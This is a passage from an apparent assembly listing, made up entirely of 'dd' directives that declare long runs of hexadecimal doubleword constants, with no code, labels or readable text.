96E9ECF9h, 8C1831C8h, 1DD3004Ch, 5E8C9426h dd 461C8A46h, 0F0933944h, 813C9B4Fh, 0CEDF128Bh, 0A606EC22h dd 0C80938D3h, 0D0A8F972h, 18000BF4h, 3B874527h, 4978920h dd 4A26472h, 2004A158h, 31C01623h, 0B308257Dh, 2136002Dh dd 270A9D94h, 0C000BA49h, 0C2F922A7h, 842B90h, 77425583h dd 96498ACBh, 14C7FE0Bh, 0A2682219h, 7E60C8AFh, 0FAAC24CBh dd 8DE401A0h, 6843FE82h, 7F1F7EFCh, 6FD93D3Ch, 9C32EFC9h dd 0EB3022F2h, 0CB7616B1h, 7E5487C4h, 0DF826BC0h, 31F02899h dd 549C1C90h, 87465Ch, 649EABB3h, 2BD015Dh, 70608C10h dd 1C41F109h, 2CB4351Fh, 0EC04D3B0h, 0FA04526Eh, 0EF9CE0A8h dd 2D66C96h, 0CFB51207h, 702021F8h, 3AB72342h, 330F6F2Bh dd 1F005B13h, 31E9D047h, 0C24EB890h, 723C02Fh, 0A5F0EB00h dd 3E08E60h, 2189528Ch, 0D913866Eh, 1501797Ch, 96F0E57Dh dd 0EEFACDE0h, 0DB090056h, 7764B5EDh, 8069B67Eh, 83E004D8h dd 2DB004F6h, 0CF0529D4h, 0CC0B9256h, 8672B881h, 384FEF01h dd 8C4BBC7Ch, 0FA9BF113h, 900120D0h, 0F52F0792h, 0A25AA0BBh dd 0E0785434h, 55E02800h, 0F4218AACh, 11EF2C12h, 37B18048h dd 0B98E8578h, 5102089Ah, 4D7A06FFh, 0EA7490C0h, 5A981616h dd 5C8BC1h, 0BC16E33Dh, 18E19DEh, 0C528EDEFh, 3040E84Fh dd 9A3294ECh, 6DE5F09Dh, 0C988E078h, 6D0294CAh, 500312A3h dd 2DC8FE2Eh, 188BD811h, 563B09C8h, 481CB7CFh, 3BC01200h dd 70A8151Dh, 0B9E0002Ch, 0B8F8D101h, 0F094E319h, 0BC468420h dd 8C16DE02h, 0E31E15Ah, 16D77110h, 50EA151Ch, 0C2FCC00Bh dd 0A4F460ACh, 58509A4Dh, 5E04F09Eh, 0B005B0AAh, 5140CF28h dd 1C3D18D0h, 0A17E51E2h, 0B0B74600h, 0B29F6257h, 0B3C90F95h dd 45E0DA47h, 0FB8EE630h, 0C784DC91h, 820380C1h, 491806D6h dd 0B7F917F9h, 93AF03DCh, 9B345FE4h, 6A8E80E0h, 27019A73h dd 24C28A3h, 6C30EA68h, 81C28837h, 3FA8CB00h, 302CD01Dh dd 0B399F84Ch, 52AC70E4h, 0A1787102h, 4BE5F501h, 0FEB0183Ch dd 0C77E71A6h, 0DAB03404h, 58C7BC51h, 0DD7AFD10h, 152A161Ch dd 63F489FBh, 3089A2E8h, 0B506A52Dh, 5234DD60h, 8D9D00A1h dd 40FF8B43h, 9F000B82h, 2AE4B80Ah, 90330EAh, 56065CFCh dd 0F370DC10h, 0D0ACE200h, 29B9D81Fh, 82920F2Ch, 3E4176AFh dd 0F0D64989h, 9D609FD3h, 94CAA08h, 3060949Bh, 55A96240h dd 1830B14Fh, 25D07AF8h, 0F4979943h, 45804A11h, 84860EE4h dd 8C401A4Ah, 0F03F2FA2h, 0C1B03935h, 0DF480C80h, 998AD68Eh dd 6CB29A00h, 0EFE44CDBh, 0B14F2EC4h, 11ED40B0h, 0A3982378h dd 62AAFF00h, 0E6EB085Eh, 2824B8C3h, 0A488A652h, 0CEF244C8h dd 116C0812h, 1B92801Ch, 657ACC4Bh, 6407C4F8h, 346608C0h dd 61E9C077h, 6DBB3749h, 3D3BF604h, 3CB45852h, 0F09975h dd 0B2AFC37h, 0DE04816Dh, 3527A8B2h, 5BC16480h, 7E312449h dd 0FB4C0E99h, 79852387h, 0E10EA898h, 5EEAF26h, 84317F09h dd 0B2608D30h, 0CF25503Bh, 0E096E7h, 0A13BCA14h, 5A5251B1h dd 40CD1CA0h, 2F47E31Ch, 183D0804h, 4A6310D2h, 84343570h dd 0C1BAF25Fh, 371E2B4h, 0C1F7A3EFh, 10AAA736h, 0DD993A40h dd 0FD933F00h, 6ACD9F02h, 8F29BA02h, 0C67FAC2Ah, 9288C804h dd 493BCBC0h, 4480D1CFh, 0D052922h, 75D23BC3h, 9CBCA4h dd 83F4684Fh, 40B588C1h, 0ECDA1C2Ah, 0BAA0CF1Ch, 416249CFh dd 0AE5C48EAh, 41D28C60h, 0E2804853h, 5956048Ch, 6783F9B1h dd 40BB9DE8h, 0FABFE459h, 100BA44h, 0D3BD4327h, 0CBE529h dd 0EC8C9711h, 7E085741h, 30A8095Ch, 0E5D4B17Ch, 42E49ACh dd 10904F2Fh, 0D2810790h, 9EC5F420h, 91A040E4h, 8B1DB1A5h dd 3D005840h, 38E3C427h, 0A2330049h, 3FB8F6E0h, 0AD01013Ah dd 0D4962188h, 587C9A45h, 524EE702h, 0E0643D40h, 82158476h dd 4FC4158Eh, 29238C2Fh dd 24288D0Eh, 3080459Ch, 251CF179h, 0B463FBD0h, 23AC2FE5h dd 0F8F20063h, 9E25E3A2h, 0DB649700h, 20D25A5Fh, 746CB053h dd 4131C034h, 3087031Fh, 80C0B103h, 0C0780F01h, 0F6A33A9Fh dd 0D01A8055h, 32F92364h, 0CF1190ADh, 7A8484Bh, 0BB34BE65h dd 46745C8Ah, 75070047h, 8DC5298h, 74830F39h, 0ACE1EAAEh dd 50319E01h, 49D8CEF4h, 0A7C81241h, 0E090C23Eh, 0D2050D5h dd 24AF8BBh, 7F5198CEh, 781192h, 741DE258h, 0C9E51731h dd 7C42A48h, 0D53348BCh, 920B4702h, 0E88001EFh, 294CB340h dd 5048B59h, 94D5091h, 0F03C10E1h, 38C47E8h, 0DE79B789h dd 0A2F895C6h, 0CCA281A0h, 30008F1h, 7E408F63h, 0B38000B7h dd 11C7DF5Fh, 0FE04662Eh, 0E15CD61Dh, 0D2813C9Fh, 8079349Dh dd 0FCFB3D71h, 0B59E1B4h, 9AA2DA19h, 4550B804h, 9C81D4ACh dd 0D0F460B4h, 9F98B4A4h, 1E802B31h, 0F9AFCE54h, 0C004A2D2h dd 0F5592BC1h, 2E0601F4h, 6B1FEC8Ah, 0E68C42DBh, 82DD7C62h dd 5150A46Bh, 80CA11E4h, 5AA216ECh, 3C9695D1h, 5116ED80h dd 84D2661Fh, 0DDD20C9Eh, 0A0B784A6h, 405493BFh, 0D81BFF18h dd 2A7E61h, 74EE59D0h, 6F2149FAh, 7D80DC96h, 6B8367E6h dd 2CF423h, 72F235FAh, 0BE388805h, 30DDC12h, 0F8B0E884h dd 1AF413D6h, 4A4166Dh, 85407438h, 0E014A62Ch, 2CB625FCh dd 3DB41E38h, 2012CEC4h, 981DED70h, 0AE66B20Ah, 0CB8D6201h dd 787C0441h, 4EF64022h, 1A45D609h, 317C8027h, 1E9286C9h dd 0A50BA12Ch, 8F2328E6h, 101C23D9h, 0E67E257Ch, 0B03A235Ch dd 56CFE005h, 15D3A040h, 0C0806E36h, 0B0299E11h, 6301FF99h dd 509BF973h, 9FE0A5A0h, 0B8650060h, 0FDFCA80Dh, 8A19643Eh dd 0CB905EF8h, 4EBC207Ch, 76547C8Ch, 45870C01h, 0F9E88855h dd 5A202095h, 0E74320h, 0B92BDECDh, 0EFD3D06Bh, 38282E12h dd 5C8220C7h, 59CC4ACCh, 182579BCh, 71277AEh, 0D0CE3249h dd 1958BCA9h, 4F466927h, 0B4C900B4h, 0B0157CF5h, 0EF2BEC01h dd 0C4319DB8h, 84F6F0h, 859EA1BAh, 2D884BC1h, 94BF1200h dd 8FDFDB31h, 0E1F20081h, 0B0B7798Ch, 46351DA1h, 749BE0B3h dd 1FDA02D3h, 7074F4FEh, 0C0C08F1h, 27FDD488h, 0C860216Ch dd 332454AAh, 8AD934EDh, 63203814h, 827C309Dh, 0C8DD4BD3h dd 48409880h, 8B3E4EFEh, 0C007C858h, 4CA35028h, 14ACB70h dd 6E5F10CAh, 2A2E7E68h, 0C0176CAEh, 0FC1A1046h, 7E220279h dd 0C8DEE2F3h, 0C309C4C4h, 692C664Fh, 0E82D3408h, 0B3FCB902h dd 0BE0F479h, 783FFAA4h, 1FD680AFh, 9BB96AADh, 9E980161h dd 9F8F68F3h, 21E98064h, 703FABD8h, 7ECF845h, 929C1D50h dd 8AAE8064h, 4B4BA149h, 10E36020h, 0FAD10073h, 8A263861h dd 4E00E6EDh, 0E97F859Ch, 16DB1CF5h, 91E01E47h, 80563480h dd 6095E8A9h, 15FC6A8h, 61A4CF5Eh, 669AC464h, 5D68E0B4h dd 3EF300A9h, 1AC67741h, 1A9FF76Bh, 44E067B8h, 8D926163h dd 262572C8h, 222E304h, 0D96FB0C6h, 4D6B6C5Ch, 0B135C228h dd 3A386041h, 4B648800h, 0B47A0F53h, 9465C68h, 176DE300h dd 19835101h, 465E18BCh, 356586Fh, 0FF162BD0h, 7EB6D13Eh dd 1F2F2EDDh, 15548004h, 3BA13F48h, 324C0400h, 0FBE5145Ah dd 0ECA433h, 0DE393812h, 5B92A1Ah, 0D201BD00h, 0F5994582h dd 91481EF7h, 70FE1497h, 26807E05h, 0C2DCD022h, 0B807ECF8h dd 0DE4BF04Fh, 0D8ED7AE4h, 0A2F6E8ADh, 0B2E90305h, 0AC4852F4h dd 16DFC0C5h, 0E9435A89h, 16D87280h, 89EC2F9Ah, 0D2135AF2h dd 2D07434Bh, 0D0293FFEh, 5990A028h, 2989416h, 28195CF7h dd 0BC80CC0h, 9138476Fh, 0EA42A605h, 0C0849441h, 0BEEE5CE0h dd 0B0029B4Bh, 0C21069D8h, 65AC5404h, 886CCE08h, 0C6ABC06Fh dd 81E68338h, 0F0591600h, 92D6DCBh, 46A02428h, 879A018Ch dd 0C6F8DA1Fh, 4B0FB472h, 0A0049984h, 95DD7CD4h, 0EB2025BBh dd 31914017h, 9AE9A481h, 4D2EE0B5h, 0F3116403h, 0BC383612h dd 4AC8D09Ah, 28409DCEh, 99D3D676h, 0EAD00F9Ah, 0DBB622B1h dd 42CC80E0h, 2D678F63h, 6097A182h, 5F812991h, 3409D848h dd 0F413F9E4h, 0ACB49C7Ah, 1A0E40A5h, 928028B6h, 0F0DF6EBCh dd 295E00C8h, 0EFEA76DCh, 18093CBDh, 2056827h, 2BD638h dd 0E1D09B4Ah, 6C17E226h, 0DADF07F4h, 5042AC69h, 0CFF80668h dd 4163B002h, 6123D780h, 0AC654C4Ch, 0A5805468h, 3AE40375h dd 4B00257Fh, 346BD95Ch, 74C768A1h, 9CFC0021h, 875604F0h dd 98139B3Ah, 0C0B6EAAFh, 34B12C20h, 6B181E71h, 0C4DF701Ch dd 85B38D40h, 9FD4C175h, 562DC400h, 17B5C917h, 81899174h dd 0F902D28Eh, 9F01807Dh, 90324E1Fh, 0DC17C59Ah, 0D55979B4h dd 667F8228h, 2904767Eh, 8865493Ch, 0BF654964h, 0B1BAB6C0h dd 0ECF70CD2h, 2217D34h, 356D400h, 3C4C2A5Bh, 43E80452h dd 0F1A0CFFDh, 8C7ECE8Ch, 65839162h, 61EDE474h, 786DF8C0h dd 470F7800h, 8F6AD0C9h, 902710B9h, 0FB9B7C4h, 0FEA24C75h dd 2A21598Dh, 0C4CC0820h, 16BB00C9h, 0B66C355Fh, 1F02E251h dd 4A89ACE6h, 5E9454DEh, 3818F7h, 0C6C8A73Dh, 0E6344965h dd 6C857227h, 71C49990h, 29182Ah, 0AEA48ECCh, 1720EFBEh dd 0C05D7129h, 3D326000h, 71A80E4h, 0A9D00143h, 0A8D079C7h dd 0BCB4DE58h, 0D6168C80h, 0C0469CDh, 0F4B86274h, 28C80ECh dd 8CD3BDE0h, 90D4A64Ah, 64829053h, 94C090B5h, 0D780BACCh dd 522B6BD4h, 84A91B59h, 0CC206EE3h, 5AF6BEh, 0E5C881BBh dd 0E65190ADh, 0A890334Fh, 5F320CEh, 3D40DADBh, 0E7BD00B5h dd 42022AB9h, 7092D3F0h, 4E563800h, 4D6380D1h, 540AF8B9h dd 5D0C0CEh, 0A3448749h, 4F68ACE8h, 0E87C388Dh, 128C0EBCh dd 0B475FC2Ah, 0CA00CF90h, 0FFAB45D2h, 50D06CEh, 0D8DE8C4Ah dd 34E050FDh, 8C0ABCh, 4A806710h, 7F6E9BD6h, 74E571C0h dd 0B93B32h, 0A09634F7h, 61CD12D3h, 50149348h, 229714D8h dd 89CC9A50h, 6B4CF9CCh, 1E64F045h, 60C03363h, 6C0229C2h dd 0C6F65BCAh, 0DF084178h, 44DCE430h, 0BF88192Ch, 0B126007Bh dd 2B90ABD7h, 8C009C1Dh, 0A464A149h, 48FED653h, 4EC8FC69h dd 4DE65E87h, 8A4F8310h, 0B44C89h, 23ED4712h, 0C022C3DCh dd 0FF5D0029h, 0B6ECE461h, 0AE009EE5h, 0D63ACF13h, 782237h dd 0C3D4F758h, 424FC5DDh, 0A673E076h, 11FDF613h, 97A5141Fh dd 87609108h, 0C6F02C0Dh, 26A37C3Dh, 0C0146C38h, 0B2392A1Ch dd 14C65704h, 0C981768h, 0D0CF1351h, 6A90F105h, 17D5B007h dd 9555F041h, 4068DC20h, 3F15B963h, 0CEE43152h, 0D72405A1h dd 20ECF492h, 0B2BD121Eh, 0F200B177h, 0B67318A7h, 3CDC596Fh dd 98017E27h, 0D0C2052Ah, 2592D8B1h, 63C4A905h, 0C4C0D53Dh dd 0BCD7691h, 6EFEF377h, 0CDA73471h, 16F4C01Ch, 737D63D5h dd 0ED711B03h, 3E11C04h, 0EABF94B1h, 4BA8BC76h, 34004241h dd 3EF8E7AEh, 0C9A8145h, 0FBB5D02Eh, 6416F9E8h, 88296E42h dd 5180E3F9h, 0BEBF14A5h, 58055B13h, 24A098CEh, 8C81B4C5h dd 6873D6E5h, 0A3304EE2h, 24AD7E45h, 84B85DBBh, 0FD508E37h dd 9042D74h, 70745B18h, 971F3FA9h, 72C0F05Fh, 0AF0DF3A5h dd 6D7E8FCh, 0B4AA5908h, 540D604Eh, 781A1CE3h, 747450A6h dd 0F1008846h, 0B8661F29h, 0FA035A2Fh, 0F09D200Eh, 1CF08D0Dh dd 0FB7F20D7h, 2E8CF91Dh, 9550002Ch, 7473FA77h, 1F6E07EEh dd 0F5D0602Ch, 0D298D604h dd 9795DCEAh, 8E8011D4h, 9CFF003Dh, 128B127Dh, 64796357h dd 0E9E804B0h, 0F4F901EBh, 0C229FBAh, 0C85E5584h, 6439ED2Ch dd 0E01627D6h, 0CBE678h, 3C4D740Dh, 0DCF9EFFEh, 6F79ECB9h dd 2600AB18h, 0D804CF68h, 980DADCDh, 34405988h, 0C874CB5Bh dd 0AED6C009h, 8F05C969h, 590C9A5Ah, 28CF28A0h, 0B1FC2888h dd 1815D1C0h, 0A5113B39h, 27C8F83Eh, 0AA643F03h, 605C7A08h dd 30EEBD6Ch, 20B55D4Ch, 0DECFCD90h, 0EC5505BFh, 803FA6D5h dd 3C54D961h, 7F14C73Fh, 8F598702h, 516EA153h, 184B7964h dd 649C090Fh, 8821A8A2h, 2F8365FEh, 8C7AD82Eh, 8BC9FF03h dd 0C812E32Eh, 24B4C0B6h, 111C6ED0h, 8CE1353h, 38B194E4h dd 0C43048C8h, 9A94F711h, 9C8E6F5Bh, 55C025C8h, 7146544Fh dd 0AC83546Eh, 0EBFE002Fh, 0B1447E99h, 0E0761D4h, 8A8D29B9h dd 9D6407E9h, 0A6B56321h, 9AC00C6Ch, 85F526D3h, 0A516BF72h dd 0E8F070FEh, 78951229h, 2C649DA2h, 8C23ACB4h, 0D5CB5902h dd 599AECF9h, 505BCB4Ch, 2FCE4350h, 0EC64CFDEh, 23AA3F10h dd 0A848805Ch, 0F8C88BCh, 155E56F6h, 391EA060h, 522F1704h dd 2E702166h, 0A1F205D8h, 782A5CE4h, 0AC1C2C09h, 0A4E08C22h dd 0D4FB740Ch, 0BD71B831h, 1F910097h, 8CADD880h, 89286BC1h dd 381CF41Dh, 0A1427EFFh, 792FD65Ch, 181F7918h, 4C8B0359h dd 7388B8F7h, 6C5AF013h, 2E05A422h, 0CE1E24Bh, 45E2CA63h dd 3D88C0FCh, 37B2078Bh, 46BA52EFh, 194510F0h, 4A905830h dd 51B48026h, 5F1D6AC7h, 28727BB1h, 5CE2753h, 58BCF84Ch dd 8A2177Ch, 202AE4A1h, 0B5411410h, 4F01FBFCh, 6484FEF4h dd 887418D2h, 94D516ACh, 0ED808001h, 6418D3BCh, 0ECD07902h dd 21A43063h, 31591538h, 0E48884BFh, 0B3E95063h, 9871CAF9h dd 4C80BD64h, 0C391C7h, 0B84EA25h, 0C939D48Eh, 0E98DFA1Ch dd 80BCA2C0h, 120353E2h, 2775618Fh, 6E8D50E0h, 68001F49h dd 0FC01A377h, 0B3F38CCh, 0D81CFD4Ch, 1727C4F2h, 76D0A0E4h dd 1116B8Bh, 58D7B82Ah, 0F8A47281h, 9BF094Dh, 4438E764h dd 0E540604Ah, 246402D0h, 0A2F65CFCh, 6562744Fh, 0A5FE8166h dd 0B83C1A74h, 0A719C7C0h, 0B80064D7h, 0BF623198h, 0BECEDF01h dd 5C43AF28h, 39C62298h, 0F8C8909Fh, 4809000Eh, 0F7FFB685h dd 9507AAA6h, 6347CC93h, 0FAA4D091h, 0B91E9C3Dh, 4A9654h dd 0AF032CECh, 21983AD6h, 5A61F094h, 902BF88Ah, 910DFB4h dd 9DC8CE95h, 8A912097h, 19EA482h, 49D8CB82h, 8B397456h dd 823C4C83h, 0E478E630h, 440D2D50h, 4C913C9Dh, 2F093780h dd 0DC13B3BFh, 0BC8D941Ah, 9C98306Ah, 194018FBh, 19D258DAh dd 22BBF860h, 525E6551h, 0ECE5A406h, 79E4B9E0h, 0F79188Bh dd 2F4104C0h, 90DCFE64h, 86BEEF5Ch, 18E1EE2Dh, 0D3EB175Ch dd 9BBA0021h, 0DF38AE86h, 0D8643C14h, 34B500E6h, 31B3E0FBh dd 7C52270Eh, 817EFCA4h, 39089200h, 0FCA9D2A4h, 0EE0532A8h dd 0F70ACBE7h, 204D000h, 40442E9Eh, 41FB217Ah, 326455A8h dd 28177B50h, 909CED3Ch, 5E78BED8h, 0CD016D46h, 0B5E69184h dd 0D232F0B3h, 5E4CC449h, 38B15841h, 9024E758h, 340907F7h dd 96284767h, 0DC99880Fh, 11009749h, 6AA28123h, 642AD372h dd 0B204E228h, 0B82B302Ah, 0A107CB03h, 98E439BDh, 91FF81FEh dd 5D9D8308h, 3CC0555Eh, 5491E09Fh, 1CCDD482h, 9D00A24h dd 145C5518h, 547AC641h, 23743A2Eh, 0E8150031h, 0EEAD9BD3h dd 5AC79102h, 62C020CEh, 0E4E4399Ch, 6FA28023h, 7C8EC930h dd 0C453287Fh, 0D3F90BE4h, 54A004FDh, 0E7AB6B79h, 340B274Fh dd 27DCD25Eh, 3CA4ACEDh, 4BC48001h, 0F55AB670h, 3907C86Eh dd 27F39EE3h, 0E8B5CB62h, 809D1E91h, 10C78780h, 43137652h dd 94281E0Eh, 6A470F11h, 0A1A96F90h, 20111C1Dh, 19901380h dd 9C0B6B52h, 52F8E032h, 92F90034h, 0F02578A8h, 3A00EBD8h dd 0D7DB8A5Dh, 26ACFDD4h, 76008529h, 0E3001446h, 13BF3986h dd 47046C41h, 796664FCh, 0C11664E7h, 0E27CE282h, 0E1E2300Eh dd 1490754Fh, 55FF27Bh, 2185FE91h, 3044B5A1h, 952C64B4h dd 804ED4B2h, 0CB74E597h, 0E7334AB4h, 5B338E8h, 6DABE006h dd 0F60088E2h, 0BDEC800Fh, 64B1A1ACh, 465C244Ah, 80863888h dd 0F244AAE6h, 5CFC11E0h, 0B610A4D4h, 2598487Ch, 58007399h dd 8C16D3EAh, 8421858Eh, 280939B1h, 8C4AACF8h, 2507C800h dd 0ECF9AB2Bh, 449C4B42h, 2F6643Ch, 0D0C6F4F7h, 0C99D1F0Ch dd 0B356419Eh, 604C6190h, 40AD37D5h, 102BDCE0h, 0F9870668h dd 0D96D5A64h, 4B410877h, 19F3C7F0h, 98910412h, 228C0850h dd 0B90283D2h, 82DD35D3h, 82705ED0h, 19ACE650h, 0AB80087Ch dd 1492D3F1h, 0F7070ABFh, 74F09650h, 68008A46h, 982EC469h dd 794FCBBBh, 0E23442Eh, 0C69B2000h, 590E562h, 8E8595CDh dd 2E8BCBAh, 36E467Fh, 0B8D44052h, 0C4968421h, 0B3FED4h dd 0CCD6698Dh, 4846FD1Ah, 3A5FD003h, 255B725Eh, 0BC721C70h dd 76C123Ah, 0EB52F4A2h, 7388DBBBh, 98CFFCB8h, 6417789Ah dd 9C12B08Ah, 0A4C094BCh, 85E6EAF8h, 0DFA13E39h, 78A05C60h dd 88D84AB4h, 0A5F674A4h, 96F3DE38h, 0B804B1EBh, 589080EAh dd 88A08308h, 0D816473Ah, 20C09245h, 48498266h, 241BE812h dd 71A8A8AEh, 0A730705Dh, 0E382612Ah, 7BDF0F8Dh, 491325BBh dd 0FC847F28h, 0CCE0474Dh, 501108B6h, 4052F059h, 540F4E5Ah dd 0EF8EE37Eh, 631F6518h, 6D30C840h, 5FECD377h, 4220D12Eh dd 342E3B99h, 0F3004723h, 8A7FA84Ch, 9CDF160Bh, 2AECA44Fh dd 0AC335712h, 4CBC2CE8h, 0C658008Ch, 1045C12Fh, 4609A138h dd 0C01DF4C8h, 54D89A04h, 2AB006h, 0CA79816Eh, 5C0CD34Ah dd 159EECA0h, 5600F17Dh, 145DD7AFh, 11996FEh, 9A2DED94h dd 0A4F5AC20h, 0A00C8440h, 30583Bh, 52F8FE42h, 5E62DB66h dd 0BC38DE48h, 853F8C6Eh, 0B30503A7h, 98B298D0h, 9CFAFDD8h dd 0D8D53DBCh, 23442F2Fh, 5191608h, 0B2A3F1D3h, 3008F20Ch dd 561218C1h, 3CECA29Eh, 95627580h, 0C600D6B3h, 0DD52BDFDh dd 0B637A64h, 0CD594CDBh, 6F124974h, 0EA50A4h, 8317F05Ah dd 8B16C94Ch, 0E675F490h, 0D0401C5Eh, 0B22BAA8Ah, 25703AA0h dd 985C097Ah, 70DBEFD3h, 494F470h, 8A7C6C4Ch, 7178A854h dd 0C8D8EB05h, 44E8BC28h, 1E8C8200h, 8D648BC3h, 0FD2C2310h dd 7E5CF704h, 0EFD08855h, 5929C405h, 0D8C0AC85h, 9E0EF4FBh dd 0E74D0194h, 4FE92147h, 0C3467420h, 84A11925h, 0C4D9331Eh dd 4E00C630h, 0F9D15459h, 0E4B84ADDh, 147724CEh, 80452D8Ch dd 0E06049C4h, 0F31C54A4h, 8044C9F5h, 48FD1C4Ch, 0D45E7A00h dd 0BD00EF9h, 91AC97B7h, 0A0DE804Eh, 0FE9364h, 8C4A523Ch dd 0D4EDF0F9h, 78D22D25h, 0D3E02DF4h, 909BC44h, 725EE6ADh dd 13DFF808h, 0CB994E84h, 0A39FC4h, 655B74B9h, 7C12D001h dd 54A98546h, 1643C99Fh, 6400205Eh, 5192BC40h, 2181606Fh dd 15146AA2h, 5A0A2600h, 8A6D503Fh, 709509BFh, 9C0AB6EAh dd 5E2C3934h, 9467460h, 2AB8E83Bh, 84E09206h, 0D49EE863h dd 247101DCh, 3449435h, 3A0821E2h, 8500886Eh, 2634644Eh dd 77028D95h, 0D8284860h, 9C2CD613h, 0D7A57D47h, 9170C0DBh dd 739005A8h, 0A2588D7Ch, 3060F2B0h, 3401EE94h, 0EF9EBB9Dh dd 8A30CEDFh, 4B102CA2h, 0A27A44ECh, 3013E2FCh, 2073A3DFh dd 0D3D4B638h, 3315A224h dd 79CF22E8h, 8236613Ah, 0A22EEA40h, 27CF4C0h, 0FCCE37FEh dd 0A4823C48h, 0E58298B6h, 0E780A099h, 60136488h, 141A149h dd 78D3CAB3h, 6B3637FCh, 58305004h, 0E9801CE8h, 0A51E7B6Bh dd 0CCF3081Dh, 52D62F40h, 0BD186CD0h, 80DC68A8h, 8D4CFD10h dd 0A039C964h, 1B19785Dh, 0F82054DDh, 0EA308180h, 69E575CCh dd 348E894Ah, 0A4CE0788h, 0F8BCEA83h, 0B1D2980h, 70E9CE20h dd 0FE3345F2h, 6A1A054h, 0C2D3DF81h, 0D7FC3081h, 7484044Ah dd 146EEBh, 0C18B773Eh, 3068B2A5h, 0CC587F4Ch, 0F77E856Fh dd 60E3AC03h, 0E5A2FB83h, 1DE850FDh, 0D756A102h, 83584C45h dd 0C31C3198h, 9BF94F94h, 0A0B98010h, 0BE55D5E0h, 0FA6B8588h dd 4EA4B1D3h, 0C01F88D8h, 0AF9DEED9h, 0F7047F7Dh, 44F85E39h dd 4B900C5h, 3B206E4Eh, 66A80BAh, 7CC9DF2h, 3FBF2CBCh dd 0ECFB1329h, 0F8DB5A54h, 600DC281h, 4D54523Ah, 0DC20D020h dd 5C40974Ah, 774E3A94h, 1FC8CCCEh, 0B98C70C0h, 27F600A1h dd 2F70463h, 2D01A5FCh, 2F8576C7h, 5CE4534Ch, 1C7C9636h dd 0B82392F3h, 8CEDBC10h, 88276D02h, 647D554Fh, 94C0BA8h dd 4460E3DCh, 0BC0545E8h, 0B23E6490h, 0FD84A31Ch, 49FE7637h dd 3C420500h, 2579C471h, 0E000818h, 0A14D90AEh, 7F664263h dd 0C1982576h, 6ED190F1h, 0E700FF18h, 98D3328Ch, 60757B0Eh dd 6F89215Ah, 1407B42Eh, 11F4503Ch, 0DC731050h, 7918B19Ah dd 43184Ch, 0C63E0813h, 5B6E2D22h, 1FDC69C3h, 7C3C9917h dd 12FEF4F0h, 0F6B69D69h, 0B0B7E3C4h, 258D63Bh, 1CEFBA1Ah dd 20CD0729h, 9D44FBE0h, 636B03EBh, 0F3350EE1h, 81B89FFCh dd 0BDA0FE87h, 269D6ED0h, 8994022Bh, 84C58864h, 23676DE4h dd 96C8A4DDh, 0FA30A1ECh, 2BEE7118h, 0ABC500C6h, 32F662C3h dd 900DABEh, 0DB0CA2CFh, 983696h, 705075F2h, 0F136728h dd 0C676B600h, 0D7F6C8B3h, 0AC84BFB5h, 1E2CB292h, 0A7C71EB2h dd 0AC81757Ah, 7208849h, 4B033C28h, 0A264D007h, 64F6A95Ah dd 4C4674h, 0C2824740h, 7C34ACC9h, 3862F351h, 34C6E025h dd 48023711h, 5C3CA209h, 6DD9E0D1h, 73024418h, 8C38B53Dh dd 1CE0405Dh, 0AB3A007Fh, 53E28280h, 6212EF39h, 0E8F0248Ah dd 412B7C74h, 6F58452Eh, 71400C0h, 9D2FAC9h, 1106015Eh dd 0F97C4FACh, 8C288F54h, 0BDC467B7h, 4DC94072h, 6DBCE03Ch dd 0BD027609h, 0E8FB4C50h, 0DDEF002Ch, 4E118266h, 0E64F5980h dd 76ACE004h, 0C32109BEh, 680B6AA9h, 0A8C0D0EDh, 0B00F98CFh dd 45F02014h, 19F93F17h, 46F4A704h, 0EC4000FBh, 0EF9B67B9h dd 801435B7h, 1D082501h, 0B91FDA4Ch, 4B4128D3h, 87AAECFCh dd 0C9E56081h, 38825CF9h, 9EEB0120h, 0CAD5DF0Ah, 0EC3C7475h dd 8C8BBCh, 0B96FD4FEh, 9E3FFDFFh, 0EA5D2092h, 0ED302DA4h dd 0C8E6C028h, 0FA487F0Ch, 91A980D4h, 0F50E58h, 57957B34h dd 0B35F45C9h, 70018338h, 0CF52443Dh, 1442A8E4h, 0A8C8D4BAh dd 8C25E8h, 9598D4AEh, 0E4282E64h, 800B8C9Eh, 8B056F2h dd 2F164DE8h, 7AEAFC84h, 3629005Ch, 2C069EADh, 9A5A134Fh dd 0CE4A8B0h, 69E519AEh, 4AF400CBh, 0D381BD35h, 0B1027802h dd 11A7089h, 4608E016h, 0A70A806Eh, 82137494h, 99405086h dd 60D4D318h, 333B7ABh, 0E2D485ACh, 0ED80BB57h, 0DA284376h dd 521AF426h, 5FD0AB6Fh, 6BB404B8h, 0C217501h, 0C0028305h dd 740930D7h, 7D4BB42Ch, 2C5A2100h, 9C2E82A2h, 0AC153C3Dh dd 0B3843E06h, 0AF00288Bh, 0D9D2B7FFh, 3BF3F75h, 0D4B9CC48h dd 35A3C739h, 62008AA3h, 43B7797h, 1D4D4Fh, 55D2C498h dd 0BA227489h, 0D133D700h, 81C204DFh, 0CB4E8FDh, 0E683388Bh dd 8C3B1A69h, 11B1B06Fh, 229D4h, 23183ABCh, 214833E2h dd 21C0CCE8h, 4A0231FEh, 5647077Dh, 0C39C3979h, 88969F83h dd 4F08C518h, 51488BE8h, 68910C13h, 22D807Bh, 8C383AB8h dd 0F2CD44h, 0B7A0235h, 4FDCAEC4h, 1023BD07h, 0CD601DBEh dd 824D879Bh, 7246B834h, 2E169901h, 87779C26h, 6FB02C19h dd 0B6AEDBF0h, 0C328004Fh, 0C67E86B8h, 3D00F806h, 2AAB9C95h dd 32C15BFh, 39109332h, 0C1D8E3D1h, 7A73BA81h, 42FAE00h dd 0DD566A9Bh, 4F1E14B5h, 768050CEh, 7B050B21h, 4C6E448Ch dd 12217E00h, 0FC465BD7h, 87F20051h, 82C3CD39h, 0A0A0557Bh dd 31C08899h, 0EDE638Bh, 0C04174A4h, 80BC2D10h, 7103C42Ah dd 0A1CE87E0h, 3936A3DFh, 808B7F21h, 2D8175CCh, 0F067D0EAh dd 0E060E73Bh, 0CFD4D20h, 877638C7h, 5F41680Ch, 21C0F609h dd 0B7C7039Dh, 1096018Dh, 59478797h, 1C84739h, 20B362C0h dd 0AB1D8954h, 0C7030E3Ch, 0F3878F63h, 4B02367h, 3480B603h dd 58A844C4h, 0E48D8930h, 5D0E2280h, 0EC7B7559h, 12E08903h dd 20260977h, 94486304h, 30DE6424h, 2A807011h, 103ABD02h dd 0FDCB448Ch, 42023200h, 63B629D9h, 469D30ACh, 0ED1F7A81h dd 0C157F100h, 82BA4968h, 2FB024CFh, 80729164h, 3ABB0230h dd 0C0989120h, 0A50238FFh, 4ED8A200h, 3D933914h, 0DDD1C087h dd 683FCC31h, 